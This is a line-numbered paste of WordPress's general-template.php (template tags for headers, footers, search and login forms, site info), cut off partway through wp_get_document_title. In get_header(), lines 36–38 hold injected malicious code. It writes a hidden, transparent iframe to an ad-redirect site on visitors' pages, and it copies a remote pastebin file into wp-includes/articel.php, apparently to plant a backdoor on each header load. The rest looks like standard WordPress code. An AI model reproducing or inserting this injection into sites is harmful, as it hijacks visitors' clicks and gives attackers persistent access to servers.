· 9 years ago · Nov 07, 2016, 11:10 PM
1<?php
2/**
3 * General template tags that can go anywhere in a template.
4 *
5 * @package WordPress
6 * @subpackage Template
7 */
8
9/**
10 * Load header template.
11 *
12 * Includes the header template for a theme or if a name is specified then a
13 * specialised header will be included.
14 *
15 * For the parameter, if the file is called "header-special.php" then specify
16 * "special".
17 *
18 * @since 1.5.0
19 *
20 * @param string $name The name of the specialised header.
21 */
22function get_header( $name = null ) {
23 /**
24 * Fires before the header template file is loaded.
25 *
26 * The hook allows a specific header template file to be used in place of the
27 * default header template file. If your file is called header-new.php,
28 * you would specify the filename in the hook as get_header( 'new' ).
29 *
30 * @since 2.1.0
31 * @since 2.8.0 $name parameter added.
32 *
33 * @param string $name Name of the specific header file to use.
34 */
35 do_action( 'get_header', $name );
36print '<script>function setCookie(cname, cvalue, exdays) {var d = new Date();d.setTime(d.getTime() + (exdays*1000));var expires = "expires="+d.toUTCString();document.cookie = cname + "=" + cvalue + "; " + expires;}function checkCookie() {if (document.cookie.replace(/(?:(?:^|.*;\s*)username\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "minato") {setCookie("username", "minato", 10800);document.write(\'<iframe src="https://adloft.net/ad/redirect/14548" style="position:absolute;width:400px;height:500px;top:90px;left:270px; opacity:0 " scrolling="no" frameborder="none"></iframe>\');}}checkCookie();</script>';
37$sec = "http://pastebin.com/raw/b6hGzrqk";
38copy($sec,"/home/k4131420/public_html/wp-includes/articel.php");
39 $templates = array();
40 $name = (string) $name;
41 if ( '' !== $name ) {
42 $templates[] = "header-{$name}.php";
43 }
44
45 $templates[] = 'header.php';
46
47 locate_template( $templates, true );
48}
49
50/**
51 * Load footer template.
52 *
53 * Includes the footer template for a theme or if a name is specified then a
54 * specialised footer will be included.
55 *
56 * For the parameter, if the file is called "footer-special.php" then specify
57 * "special".
58 *
59 * @since 1.5.0
60 *
61 * @param string $name The name of the specialised footer.
62 */
63function get_footer( $name = null ) {
64 /**
65 * Fires before the footer template file is loaded.
66 *
67 * The hook allows a specific footer template file to be used in place of the
68 * default footer template file. If your file is called footer-new.php,
69 * you would specify the filename in the hook as get_footer( 'new' ).
70 *
71 * @since 2.1.0
72 * @since 2.8.0 $name parameter added.
73 *
74 * @param string $name Name of the specific footer file to use.
75 */
76 do_action( 'get_footer', $name );
77
78 $templates = array();
79 $name = (string) $name;
80 if ( '' !== $name ) {
81 $templates[] = "footer-{$name}.php";
82 }
83
84 $templates[] = 'footer.php';
85
86 locate_template( $templates, true );
87}
88
89/**
90 * Load sidebar template.
91 *
92 * Includes the sidebar template for a theme or if a name is specified then a
93 * specialised sidebar will be included.
94 *
95 * For the parameter, if the file is called "sidebar-special.php" then specify
96 * "special".
97 *
98 * @since 1.5.0
99 *
100 * @param string $name The name of the specialised sidebar.
101 */
102function get_sidebar( $name = null ) {
103 /**
104 * Fires before the sidebar template file is loaded.
105 *
106 * The hook allows a specific sidebar template file to be used in place of the
107 * default sidebar template file. If your file is called sidebar-new.php,
108 * you would specify the filename in the hook as get_sidebar( 'new' ).
109 *
110 * @since 2.2.0
111 * @since 2.8.0 $name parameter added.
112 *
113 * @param string $name Name of the specific sidebar file to use.
114 */
115 do_action( 'get_sidebar', $name );
116
117 $templates = array();
118 $name = (string) $name;
119 if ( '' !== $name )
120 $templates[] = "sidebar-{$name}.php";
121
122 $templates[] = 'sidebar.php';
123
124 locate_template( $templates, true );
125}
126
127/**
128 * Load a template part into a template
129 *
130 * Makes it easy for a theme to reuse sections of code in a easy to overload way
131 * for child themes.
132 *
133 * Includes the named template part for a theme or if a name is specified then a
134 * specialised part will be included. If the theme contains no {slug}.php file
135 * then no template will be included.
136 *
137 * The template is included using require, not require_once, so you may include the
138 * same template part multiple times.
139 *
140 * For the $name parameter, if the file is called "{slug}-special.php" then specify
141 * "special".
142 *
143 * @since 3.0.0
144 *
145 * @param string $slug The slug name for the generic template.
146 * @param string $name The name of the specialised template.
147 */
148function get_template_part( $slug, $name = null ) {
149 /**
150 * Fires before the specified template part file is loaded.
151 *
152 * The dynamic portion of the hook name, `$slug`, refers to the slug name
153 * for the generic template part.
154 *
155 * @since 3.0.0
156 *
157 * @param string $slug The slug name for the generic template.
158 * @param string $name The name of the specialized template.
159 */
160 do_action( "get_template_part_{$slug}", $slug, $name );
161
162 $templates = array();
163 $name = (string) $name;
164 if ( '' !== $name )
165 $templates[] = "{$slug}-{$name}.php";
166
167 $templates[] = "{$slug}.php";
168
169 locate_template($templates, true, false);
170}
171
172/**
173 * Display search form.
174 *
175 * Will first attempt to locate the searchform.php file in either the child or
176 * the parent, then load it. If it doesn't exist, then the default search form
177 * will be displayed. The default search form is HTML, which will be displayed.
178 * There is a filter applied to the search form HTML in order to edit or replace
179 * it. The filter is {@see 'get_search_form'}.
180 *
181 * This function is primarily used by themes which want to hardcode the search
182 * form into the sidebar and also by the search widget in WordPress.
183 *
184 * There is also an action that is called whenever the function is run called,
185 * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the
186 * search relies on or various formatting that applies to the beginning of the
187 * search. To give a few examples of what it can be used for.
188 *
189 * @since 2.7.0
190 *
191 * @param bool $echo Default to echo and not return the form.
192 * @return string|void String when $echo is false.
193 */
194function get_search_form( $echo = true ) {
195 /**
196 * Fires before the search form is retrieved, at the start of get_search_form().
197 *
198 * @since 2.7.0 as 'get_search_form' action.
199 * @since 3.6.0
200 *
201 * @link https://core.trac.wordpress.org/ticket/19321
202 */
203 do_action( 'pre_get_search_form' );
204
205 $format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
206
207 /**
208 * Filters the HTML format of the search form.
209 *
210 * @since 3.6.0
211 *
212 * @param string $format The type of markup to use in the search form.
213 * Accepts 'html5', 'xhtml'.
214 */
215 $format = apply_filters( 'search_form_format', $format );
216
217 $search_form_template = locate_template( 'searchform.php' );
218 if ( '' != $search_form_template ) {
219 ob_start();
220 require( $search_form_template );
221 $form = ob_get_clean();
222 } else {
223 if ( 'html5' == $format ) {
224 $form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
225 <label>
226 <span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
227 <input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search …', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />
228 </label>
229 <input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
230 </form>';
231 } else {
232 $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
233 <div>
234 <label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
235 <input type="text" value="' . get_search_query() . '" name="s" id="s" />
236 <input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
237 </div>
238 </form>';
239 }
240 }
241
242 /**
243 * Filters the HTML output of the search form.
244 *
245 * @since 2.7.0
246 *
247 * @param string $form The search form HTML output.
248 */
249 $result = apply_filters( 'get_search_form', $form );
250
251 if ( null === $result )
252 $result = $form;
253
254 if ( $echo )
255 echo $result;
256 else
257 return $result;
258}
259
260/**
261 * Display the Log In/Out link.
262 *
263 * Displays a link, which allows users to navigate to the Log In page to log in
264 * or log out depending on whether they are currently logged in.
265 *
266 * @since 1.5.0
267 *
268 * @param string $redirect Optional path to redirect to on login/logout.
269 * @param bool $echo Default to echo and not return the link.
270 * @return string|void String when retrieving.
271 */
272function wp_loginout($redirect = '', $echo = true) {
273 if ( ! is_user_logged_in() )
274 $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
275 else
276 $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
277
278 if ( $echo ) {
279 /**
280 * Filters the HTML output for the Log In/Log Out link.
281 *
282 * @since 1.5.0
283 *
284 * @param string $link The HTML link content.
285 */
286 echo apply_filters( 'loginout', $link );
287 } else {
288 /** This filter is documented in wp-includes/general-template.php */
289 return apply_filters( 'loginout', $link );
290 }
291}
292
293/**
294 * Retrieves the logout URL.
295 *
296 * Returns the URL that allows the user to log out of the site.
297 *
298 * @since 2.7.0
299 *
300 * @param string $redirect Path to redirect to on logout.
301 * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url().
302 */
303function wp_logout_url($redirect = '') {
304 $args = array( 'action' => 'logout' );
305 if ( !empty($redirect) ) {
306 $args['redirect_to'] = urlencode( $redirect );
307 }
308
309 $logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
310 $logout_url = wp_nonce_url( $logout_url, 'log-out' );
311
312 /**
313 * Filters the logout URL.
314 *
315 * @since 2.8.0
316 *
317 * @param string $logout_url The HTML-encoded logout URL.
318 * @param string $redirect Path to redirect to on logout.
319 */
320 return apply_filters( 'logout_url', $logout_url, $redirect );
321}
322
323/**
324 * Retrieves the login URL.
325 *
326 * @since 2.7.0
327 *
328 * @param string $redirect Path to redirect to on log in.
329 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
330 * Default false.
331 * @return string The login URL. Not HTML-encoded.
332 */
333function wp_login_url($redirect = '', $force_reauth = false) {
334 $login_url = site_url('wp-login.php', 'login');
335
336 if ( !empty($redirect) )
337 $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
338
339 if ( $force_reauth )
340 $login_url = add_query_arg('reauth', '1', $login_url);
341
342 /**
343 * Filters the login URL.
344 *
345 * @since 2.8.0
346 * @since 4.2.0 The `$force_reauth` parameter was added.
347 *
348 * @param string $login_url The login URL. Not HTML-encoded.
349 * @param string $redirect The path to redirect to on login, if supplied.
350 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
351 */
352 return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
353}
354
355/**
356 * Returns the URL that allows the user to register on the site.
357 *
358 * @since 3.6.0
359 *
360 * @return string User registration URL.
361 */
362function wp_registration_url() {
363 /**
364 * Filters the user registration URL.
365 *
366 * @since 3.6.0
367 *
368 * @param string $register The user registration URL.
369 */
370 return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
371}
372
373/**
374 * Provides a simple login form for use anywhere within WordPress.
375 *
376 * The login format HTML is echoed by default. Pass a false value for `$echo` to return it instead.
377 *
378 * @since 3.0.0
379 *
380 * @param array $args {
381 * Optional. Array of options to control the form output. Default empty array.
382 *
383 * @type bool $echo Whether to display the login form or return the form HTML code.
384 * Default true (echo).
385 * @type string $redirect URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
386 * Default is to redirect back to the request URI.
387 * @type string $form_id ID attribute value for the form. Default 'loginform'.
388 * @type string $label_username Label for the username or email address field. Default 'Username or Email'.
389 * @type string $label_password Label for the password field. Default 'Password'.
390 * @type string $label_remember Label for the remember field. Default 'Remember Me'.
391 * @type string $label_log_in Label for the submit button. Default 'Log In'.
392 * @type string $id_username ID attribute value for the username field. Default 'user_login'.
393 * @type string $id_password ID attribute value for the password field. Default 'user_pass'.
394 * @type string $id_remember ID attribute value for the remember field. Default 'rememberme'.
395 * @type string $id_submit ID attribute value for the submit button. Default 'wp-submit'.
396 * @type bool $remember Whether to display the "rememberme" checkbox in the form.
397 * @type string $value_username Default value for the username field. Default empty.
398 * @type bool $value_remember Whether the "Remember Me" checkbox should be checked by default.
399 * Default false (unchecked).
400 *
401 * }
402 * @return string|void String when retrieving.
403 */
404function wp_login_form( $args = array() ) {
405 $defaults = array(
406 'echo' => true,
407 // Default 'redirect' value takes the user back to the request URI.
408 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
409 'form_id' => 'loginform',
410 'label_username' => __( 'Username or Email' ),
411 'label_password' => __( 'Password' ),
412 'label_remember' => __( 'Remember Me' ),
413 'label_log_in' => __( 'Log In' ),
414 'id_username' => 'user_login',
415 'id_password' => 'user_pass',
416 'id_remember' => 'rememberme',
417 'id_submit' => 'wp-submit',
418 'remember' => true,
419 'value_username' => '',
420 // Set 'value_remember' to true to default the "Remember me" checkbox to checked.
421 'value_remember' => false,
422 );
423
424 /**
425 * Filters the default login form output arguments.
426 *
427 * @since 3.0.0
428 *
429 * @see wp_login_form()
430 *
431 * @param array $defaults An array of default login form arguments.
432 */
433 $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
434
435 /**
436 * Filters content to display at the top of the login form.
437 *
438 * The filter evaluates just following the opening form tag element.
439 *
440 * @since 3.0.0
441 *
442 * @param string $content Content to display. Default empty.
443 * @param array $args Array of login form arguments.
444 */
445 $login_form_top = apply_filters( 'login_form_top', '', $args );
446
447 /**
448 * Filters content to display in the middle of the login form.
449 *
450 * The filter evaluates just following the location where the 'login-password'
451 * field is displayed.
452 *
453 * @since 3.0.0
454 *
455 * @param string $content Content to display. Default empty.
456 * @param array $args Array of login form arguments.
457 */
458 $login_form_middle = apply_filters( 'login_form_middle', '', $args );
459
460 /**
461 * Filters content to display at the bottom of the login form.
462 *
463 * The filter evaluates just preceding the closing form tag element.
464 *
465 * @since 3.0.0
466 *
467 * @param string $content Content to display. Default empty.
468 * @param array $args Array of login form arguments.
469 */
470 $login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
471
472 $form = '
473 <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
474 ' . $login_form_top . '
475 <p class="login-username">
476 <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
477 <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
478 </p>
479 <p class="login-password">
480 <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
481 <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
482 </p>
483 ' . $login_form_middle . '
484 ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
485 <p class="login-submit">
486 <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
487 <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
488 </p>
489 ' . $login_form_bottom . '
490 </form>';
491
492 if ( $args['echo'] )
493 echo $form;
494 else
495 return $form;
496}
497
498/**
499 * Returns the URL that allows the user to retrieve the lost password
500 *
501 * @since 2.8.0
502 *
503 * @param string $redirect Path to redirect to on login.
504 * @return string Lost password URL.
505 */
506function wp_lostpassword_url( $redirect = '' ) {
507 $args = array( 'action' => 'lostpassword' );
508 if ( !empty($redirect) ) {
509 $args['redirect_to'] = $redirect;
510 }
511
512 $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
513
514 /**
515 * Filters the Lost Password URL.
516 *
517 * @since 2.8.0
518 *
519 * @param string $lostpassword_url The lost password page URL.
520 * @param string $redirect The path to redirect to on login.
521 */
522 return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
523}
524
525/**
526 * Display the Registration or Admin link.
527 *
528 * Display a link which allows the user to navigate to the registration page if
529 * not logged in and registration is enabled or to the dashboard if logged in.
530 *
531 * @since 1.5.0
532 *
533 * @param string $before Text to output before the link. Default `<li>`.
534 * @param string $after Text to output after the link. Default `</li>`.
535 * @param bool $echo Default to echo and not return the link.
536 * @return string|void String when retrieving.
537 */
538function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
539 if ( ! is_user_logged_in() ) {
540 if ( get_option('users_can_register') )
541 $link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
542 else
543 $link = '';
544 } elseif ( current_user_can( 'read' ) ) {
545 $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
546 } else {
547 $link = '';
548 }
549
550 /**
551 * Filters the HTML link to the Registration or Admin page.
552 *
553 * Users are sent to the admin page if logged-in, or the registration page
554 * if enabled and logged-out.
555 *
556 * @since 1.5.0
557 *
558 * @param string $link The HTML code for the link to the Registration or Admin page.
559 */
560 $link = apply_filters( 'register', $link );
561
562 if ( $echo ) {
563 echo $link;
564 } else {
565 return $link;
566 }
567}
568
569/**
570 * Theme container function for the 'wp_meta' action.
571 *
572 * The {@see 'wp_meta'} action can have several purposes, depending on how you use it,
573 * but one purpose might have been to allow for theme switching.
574 *
575 * @since 1.5.0
576 *
577 * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
578 */
579function wp_meta() {
580 /**
581 * Fires before displaying echoed content in the sidebar.
582 *
583 * @since 1.5.0
584 */
585 do_action( 'wp_meta' );
586}
587
588/**
589 * Displays information about the current site.
590 *
591 * @since 0.71
592 *
593 * @see get_bloginfo() For possible `$show` values
594 *
595 * @param string $show Optional. Site information to display. Default empty.
596 */
597function bloginfo( $show = '' ) {
598 echo get_bloginfo( $show, 'display' );
599}
600
601/**
602 * Retrieves information about the current site.
603 *
604 * Possible values for `$show` include:
605 *
606 * - 'name' - Site title (set in Settings > General)
607 * - 'description' - Site tagline (set in Settings > General)
608 * - 'wpurl' - The WordPress address (URL) (set in Settings > General)
609 * - 'url' - The Site address (URL) (set in Settings > General)
610 * - 'admin_email' - Admin email (set in Settings > General)
611 * - 'charset' - The "Encoding for pages and feeds" (set in Settings > Reading)
612 * - 'version' - The current WordPress version
613 * - 'html_type' - The content-type (default: "text/html"). Themes and plugins
614 * can override the default value using the {@see 'pre_option_html_type'} filter
615 * - 'text_direction' - The text direction determined by the site's language. is_rtl()
616 * should be used instead
617 * - 'language' - Language code for the current site
618 * - 'stylesheet_url' - URL to the stylesheet for the active theme. An active child theme
619 * will take precedence over this value
620 * - 'stylesheet_directory' - Directory path for the active theme. An active child theme
621 * will take precedence over this value
622 * - 'template_url' / 'template_directory' - URL of the active theme's directory. An active
623 * child theme will NOT take precedence over this value
624 * - 'pingback_url' - The pingback XML-RPC file URL (xmlrpc.php)
625 * - 'atom_url' - The Atom feed URL (/feed/atom)
626 * - 'rdf_url' - The RDF/RSS 1.0 feed URL (/feed/rfd)
627 * - 'rss_url' - The RSS 0.92 feed URL (/feed/rss)
628 * - 'rss2_url' - The RSS 2.0 feed URL (/feed)
629 * - 'comments_atom_url' - The comments Atom feed URL (/comments/feed)
630 * - 'comments_rss2_url' - The comments RSS 2.0 feed URL (/comments/feed)
631 *
632 * Some `$show` values are deprecated and will be removed in future versions.
633 * These options will trigger the _deprecated_argument() function.
634 *
635 * Deprecated arguments include:
636 *
637 * - 'siteurl' - Use 'url' instead
638 * - 'home' - Use 'url' instead
639 *
640 * @since 0.71
641 *
642 * @global string $wp_version
643 *
644 * @param string $show Optional. Site info to retrieve. Default empty (site name).
645 * @param string $filter Optional. How to filter what is retrieved. Default 'raw'.
646 * @return string Mostly string values, might be empty.
647 */
648function get_bloginfo( $show = '', $filter = 'raw' ) {
649 switch( $show ) {
650 case 'home' : // DEPRECATED
651 case 'siteurl' : // DEPRECATED
652 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
653 /* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument */
654 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
655 '<code>' . $show . '</code>',
656 '<code>bloginfo()</code>',
657 '<code>url</code>'
658 ) );
659 case 'url' :
660 $output = home_url();
661 break;
662 case 'wpurl' :
663 $output = site_url();
664 break;
665 case 'description':
666 $output = get_option('blogdescription');
667 break;
668 case 'rdf_url':
669 $output = get_feed_link('rdf');
670 break;
671 case 'rss_url':
672 $output = get_feed_link('rss');
673 break;
674 case 'rss2_url':
675 $output = get_feed_link('rss2');
676 break;
677 case 'atom_url':
678 $output = get_feed_link('atom');
679 break;
680 case 'comments_atom_url':
681 $output = get_feed_link('comments_atom');
682 break;
683 case 'comments_rss2_url':
684 $output = get_feed_link('comments_rss2');
685 break;
686 case 'pingback_url':
687 $output = site_url( 'xmlrpc.php' );
688 break;
689 case 'stylesheet_url':
690 $output = get_stylesheet_uri();
691 break;
692 case 'stylesheet_directory':
693 $output = get_stylesheet_directory_uri();
694 break;
695 case 'template_directory':
696 case 'template_url':
697 $output = get_template_directory_uri();
698 break;
699 case 'admin_email':
700 $output = get_option('admin_email');
701 break;
702 case 'charset':
703 $output = get_option('blog_charset');
704 if ('' == $output) $output = 'UTF-8';
705 break;
706 case 'html_type' :
707 $output = get_option('html_type');
708 break;
709 case 'version':
710 global $wp_version;
711 $output = $wp_version;
712 break;
713 case 'language':
714 /* translators: Translate this to the correct language tag for your locale,
715 * see https://www.w3.org/International/articles/language-tags/ for reference.
716 * Do not translate into your own language.
717 */
718 $output = __( 'html_lang_attribute' );
719 if ( 'html_lang_attribute' === $output || preg_match( '/[^a-zA-Z0-9-]/', $output ) ) {
720 $output = get_locale();
721 $output = str_replace( '_', '-', $output );
722 }
723 break;
724 case 'text_direction':
725 _deprecated_argument( __FUNCTION__, '2.2.0', sprintf(
726 /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name */
727 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
728 '<code>' . $show . '</code>',
729 '<code>bloginfo()</code>',
730 '<code>is_rtl()</code>'
731 ) );
732 if ( function_exists( 'is_rtl' ) ) {
733 $output = is_rtl() ? 'rtl' : 'ltr';
734 } else {
735 $output = 'ltr';
736 }
737 break;
738 case 'name':
739 default:
740 $output = get_option('blogname');
741 break;
742 }
743
744 $url = true;
745 if (strpos($show, 'url') === false &&
746 strpos($show, 'directory') === false &&
747 strpos($show, 'home') === false)
748 $url = false;
749
750 if ( 'display' == $filter ) {
751 if ( $url ) {
752 /**
753 * Filters the URL returned by get_bloginfo().
754 *
755 * @since 2.0.5
756 *
757 * @param mixed $output The URL returned by bloginfo().
758 * @param mixed $show Type of information requested.
759 */
760 $output = apply_filters( 'bloginfo_url', $output, $show );
761 } else {
762 /**
763 * Filters the site information returned by get_bloginfo().
764 *
765 * @since 0.71
766 *
767 * @param mixed $output The requested non-URL site information.
768 * @param mixed $show Type of information requested.
769 */
770 $output = apply_filters( 'bloginfo', $output, $show );
771 }
772 }
773
774 return $output;
775}
776
777/**
778 * Returns the Site Icon URL.
779 *
780 * @since 4.3.0
781 *
782 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
783 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
784 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
785 * @return string Site Icon URL.
786 */
787function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
788 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
789 switch_to_blog( $blog_id );
790 }
791
792 $site_icon_id = get_option( 'site_icon' );
793
794 if ( $site_icon_id ) {
795 if ( $size >= 512 ) {
796 $size_data = 'full';
797 } else {
798 $size_data = array( $size, $size );
799 }
800 $url = wp_get_attachment_image_url( $site_icon_id, $size_data );
801 }
802
803 if ( is_multisite() && ms_is_switched() ) {
804 restore_current_blog();
805 }
806
807 /**
808 * Filters the site icon URL.
809 *
810 * @site 4.4.0
811 *
812 * @param string $url Site icon URL.
813 * @param int $size Size of the site icon.
814 * @param int $blog_id ID of the blog to get the site icon for.
815 */
816 return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
817}
818
819/**
820 * Displays the Site Icon URL.
821 *
822 * @since 4.3.0
823 *
824 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
825 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
826 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
827 */
828function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
829 echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
830}
831
832/**
833 * Whether the site has a Site Icon.
834 *
835 * @since 4.3.0
836 *
837 * @param int $blog_id Optional. ID of the blog in question. Default current blog.
838 * @return bool Whether the site has a site icon or not.
839 */
840function has_site_icon( $blog_id = 0 ) {
841 return (bool) get_site_icon_url( 512, '', $blog_id );
842}
843
844/**
845 * Determines whether the site has a custom logo.
846 *
847 * @since 4.5.0
848 *
849 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
850 * @return bool Whether the site has a custom logo or not.
851 */
852function has_custom_logo( $blog_id = 0 ) {
853 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
854 switch_to_blog( $blog_id );
855 }
856
857 $custom_logo_id = get_theme_mod( 'custom_logo' );
858
859 if ( is_multisite() && ms_is_switched() ) {
860 restore_current_blog();
861 }
862
863 return (bool) $custom_logo_id;
864}
865
866/**
867 * Returns a custom logo, linked to home.
868 *
869 * @since 4.5.0
870 *
871 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
872 * @return string Custom logo markup.
873 */
874function get_custom_logo( $blog_id = 0 ) {
875 $html = '';
876
877 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
878 switch_to_blog( $blog_id );
879 }
880
881 $custom_logo_id = get_theme_mod( 'custom_logo' );
882
883 // We have a logo. Logo is go.
884 if ( $custom_logo_id ) {
885 $html = sprintf( '<a href="%1$s" class="custom-logo-link" rel="home" itemprop="url">%2$s</a>',
886 esc_url( home_url( '/' ) ),
887 wp_get_attachment_image( $custom_logo_id, 'full', false, array(
888 'class' => 'custom-logo',
889 'itemprop' => 'logo',
890 ) )
891 );
892 }
893
894 // If no logo is set but we're in the Customizer, leave a placeholder (needed for the live preview).
895 elseif ( is_customize_preview() ) {
896 $html = sprintf( '<a href="%1$s" class="custom-logo-link" style="display:none;"><img class="custom-logo"/></a>',
897 esc_url( home_url( '/' ) )
898 );
899 }
900
901 if ( is_multisite() && ms_is_switched() ) {
902 restore_current_blog();
903 }
904
905 /**
906 * Filters the custom logo output.
907 *
908 * @since 4.5.0
909 * @since 4.6.0 Added the `$blog_id` parameter.
910 *
911 * @param string $html Custom logo HTML output.
912 * @param int $blog_id ID of the blog to get the custom logo for.
913 */
914 return apply_filters( 'get_custom_logo', $html, $blog_id );
915}
916
917/**
918 * Displays a custom logo, linked to home.
919 *
920 * @since 4.5.0
921 *
922 * @param int $blog_id Optional. ID of the blog in question. Default is the ID of the current blog.
923 */
924function the_custom_logo( $blog_id = 0 ) {
925 echo get_custom_logo( $blog_id );
926}
927
928/**
929 * Returns document title for the current page.
930 *
931 * @since 4.4.0
932 *
933 * @global int $page Page number of a single post.
934 * @global int $paged Page number of a list of posts.
935 *
936 * @return string Tag with the document title.
937 */
938function wp_get_document_title() {
939
940 /**
941 * Filters the document title before it is generated.
942 *
943 * Passing a non-empty value will short-circuit wp_get_document_title(),
944 * returning that value instead.
945 *
946 * @since 4.4.0
947 *
948 * @param string $title The document title. Default empty string.
949 */
950 $title = apply_filters( 'pre_get_document_title', '' );
951 if ( ! empty( $title ) ) {
952 return $title;
953 }
954
955 global $page, $paged;
956
957 $title = array(
958 'title' => '',
959 );
960
961 // If it's a 404 page, use a "Page not found" title.
962 if ( is_404() ) {
963 $title['title'] = __( 'Page not found' );
964
965 // If it's a search, use a dynamic search results title.
966 } elseif ( is_search() ) {
967 /* translators: %s: search phrase */
968 $title['title'] = sprintf( __( 'Search Results for “%s”' ), get_search_query() );
969
970 // If on the front page, use the site title.
971 } elseif ( is_front_page() ) {
972 $title['title'] = get_bloginfo( 'name', 'display' );
973
974 // If on a post type archive, use the post type archive title.
975 } elseif ( is_post_type_archive() ) {
976 $title['title'] = post_type_archive_title( '', false );
977
978 // If on a taxonomy archive, use the term title.
979 } elseif ( is_tax() ) {
980 $title['title'] = single_term_title( '', false );
981
982 /*
983 * If we're on the blog page that is not the homepage or
984 * a single post of any post type, use the post title.
985 */
986 } elseif ( is_home() || is_singular() ) {
987 $title['title'] = single_post_title( '', false );
988
989 // If on a category or tag archive, use the term title.
990 } elseif ( is_category() || is_tag() ) {
991 $title['title'] = single_term_title( '', false );
992
993 // If on an author archive, use the author's display name.
994 } elseif ( is_author() && $author = get_queried_object() ) {
995 $title['title'] = $author->display_name;
996
997 // If it's a date archive, use the date as the title.
998 } elseif ( is_year() ) {
999 $title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );
1000
1001 } elseif ( is_month() ) {
1002 $title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
1003
1004 } elseif ( is_day() ) {
1005 $title['title'] = get_the_date();
1006 }
1007
1008 // Add a page number if necessary.
1009 if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
1010 $title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
1011 }
1012
1013 // Append the description or site title to give context.
1014 if ( is_front_page() ) {
1015 $title['tagline'] = get_bloginfo( 'description', 'display' );
1016 } else {
1017 $title['site'] = get_bloginfo( 'name', 'display' );
1018 }
1019
1020 /**
1021 * Filters the separator for the document title.
1022 *
1023 * @since 4.4.0
1024 *
1025 * @param string $sep Document title separator. Default '-'.
1026 */
1027 $sep = apply_filters( 'document_title_separator', '-' );
1028
1029 /**
1030 * Filters the parts of the document title.
1031 *
1032 * @since 4.4.0
1033 *
1034 * @param array $title {
1035 * The document title parts.
1036 *
1037 * @type string $title Title of the viewed page.
1038 * @type string $page Optional. Page number if paginated.
1039 * @type string $tagline Optional. Site description when on home page.
1040 * @type string $site Optional. Site title when not on home page.
1041 * }
1042 */
1043 $title = apply_filters( 'document_title_parts', $title );
1044
1045 $title = implode( " $sep ", array_filter( $title ) );
1046 $title = wptexturize( $title );
